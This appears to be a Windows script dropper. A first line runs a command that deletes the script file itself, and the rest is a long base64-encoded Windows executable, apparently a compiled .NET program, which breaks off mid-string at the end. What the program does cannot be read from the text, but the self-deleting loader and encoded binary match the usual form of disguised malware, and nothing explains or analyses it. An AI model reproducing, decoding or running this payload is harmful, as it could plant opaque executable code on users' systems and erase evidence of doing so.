2>nul +del "%~f0" +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